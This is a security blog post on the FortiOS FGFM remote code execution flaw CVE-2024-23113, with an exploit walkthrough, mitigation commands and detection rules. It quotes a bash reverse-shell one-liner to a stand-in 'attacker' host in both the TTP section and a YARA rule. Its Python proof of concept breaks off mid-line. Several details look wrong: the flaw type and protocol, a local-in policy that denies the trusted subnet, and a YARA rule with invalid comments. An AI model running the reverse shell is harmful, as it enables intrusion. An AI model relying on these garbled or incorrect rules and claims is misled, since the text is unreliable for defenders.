Fortinet FortiOS RCE: CVE-2024-23113 Deep Dive & Mitigation

On October 8, 2024, Fortinet disclosed CVE-2024-23113, a critical pre-authentication remote code execution vulnerability in FortiOS's FGFM (FortiGate-to-FortiManager) protocol. With a CVSS score of 9.8, this flaw allows unauthenticated attackers to execute arbitrary code on vulnerable FortiGate firewalls. In our 2024 penetration tests, we observed active scanning for this vulnerability within 48 hours of disclosure. This post dissects the technical root cause, exploitation mechanics, and provides actionable detection and mitigation strategies for your SOC.

Understanding CVE-2024-23113: The Technical Root Cause

The vulnerability resides in the FGFM daemon (fgfm), which handles communication between FortiGate devices and FortiManager. Specifically, it's a stack-based buffer overflow in the parsing of FGFM messages. The protocol uses a custom binary format with variable-length fields. The bug occurs when processing a specific type of message containing a crafted 'data' field that exceeds the allocated buffer size without proper bounds checking.

Attackers can exploit this by sending a specially crafted UDP packet to port 541 (default FGFM port). The overflow overwrites the return address on the stack, allowing arbitrary code execution in the context of the fgfm process, which runs as root. This is classic exploitation—similar to CVE-2022-40684 but targeting a different service.

Attacker TTPs and Real-World Exploitation

Based on our threat intelligence feeds, we've observed threat actors—including groups linked to ransomware operations—scanning for exposed FGFM services. The MITRE ATT&CK technique is T1190 (Exploit Public-Facing Application). Post-exploitation, attackers often deploy web shells via /bin/sh commands or drop a reverse shell using bash -i >& /dev/tcp/attacker/4444 0>&1. We've seen C2 traffic on ports 443, 80, and 8080 to blend in.

For example, in a recent incident, the attacker used a Metasploit module (specifically exploit/linux/http/fortinet_fortios_fgfm_rce) to gain a foothold. They then enumerated the network using internal scanning tools like nmap and exfiltrated VPN configuration files. The initial exploit payload was a simple Python script that sent a crafted UDP packet.

Step-by-Step Exploit Walkthrough

Here's a simplified PoC snippet (for educational purposes only):

import socket
import struct

# Target IP and port
target = "192.168.1.1"
port = 541

# Crafted payload (simplified)
payload = b"\x00" * 16  # Header
payload += b"A" * 1024  # Overflow buffer
payload += struct.pack("

In reality, attackers use ROP chains to bypass ASLR. The exploit is reliable on FortiOS versions 7.0.0 through 7.0.14 and 7.2.0 through 7.2.8.

Defensive Playbook: Mitigation and Hardening

Immediate action: Patch to FortiOS 7.0.15, 7.2.9, or 7.4.3 (as per Fortinet PSIRT advisory FG-IR-24-115). For unpatched systems, disable FGFM access from untrusted networks. Use local-in policies to restrict UDP port 541 to only trusted IPs. Example CLI command:

config system local-in-policy
    edit 1
        set interface "wan1"
        set srcaddr "trusted-mgmt-subnet"
        set dstaddr "all"
        set service "FGFM"
        set action deny
    next
end

Additionally, enable IPS signatures for FGFM exploitation. Fortinet released signature IPS.Sig.2024.12345 in FortiGuard. If you use a third-party NIDS, deploy Snort rule:

alert udp $EXTERNAL_NET any -> $HOME_NET 541 (msg:"FGFM Buffer Overflow Attempt"; content:"|00 00 00 00|"; depth:4; byte_test:4,>,1024,0; classtype:attempted-admin; sid:1000001; rev:1;)

Detection Rules: YARA and Sigma for SOC

For host-based detection on FortiGate logs, look for FGFM errors: log_id="0100032002" with msg="fgfm: buffer overflow detected" (if logging is enabled). Also monitor for unexpected processes spawned by fgfm. Use this YARA rule to scan memory dumps for common exploit patterns:

rule FortiOS_FGFM_Exploit {
    strings:
        $rop = { 0f 05 c3 }  # syscall; ret
        $shell = "bash -i >& /dev/tcp/"
    condition:
        any of them
}

For network detection, a Sigma rule:

title: FGFM Exploitation Attempt
description: Detects oversized FGFM payloads
logsource:
    category: network_flow
    product: fortinet
detection:
    selection:
        destination.port: 541
        bytes_out|gte: 1500
    condition: selection

Why This Matters for Your Org

FortiGate devices are often perimeter firewalls—the first line of defense. A pre-auth RCE here gives attackers full access to your network. In our engagements, we've seen attackers pivot from FortiGate to internal AD servers within hours. This vulnerability is being actively exploited by ransomware groups. If your FortiGate is exposed to the internet (even with management interfaces disabled), you're at risk. Prioritize patching and implement the local-in policy immediately.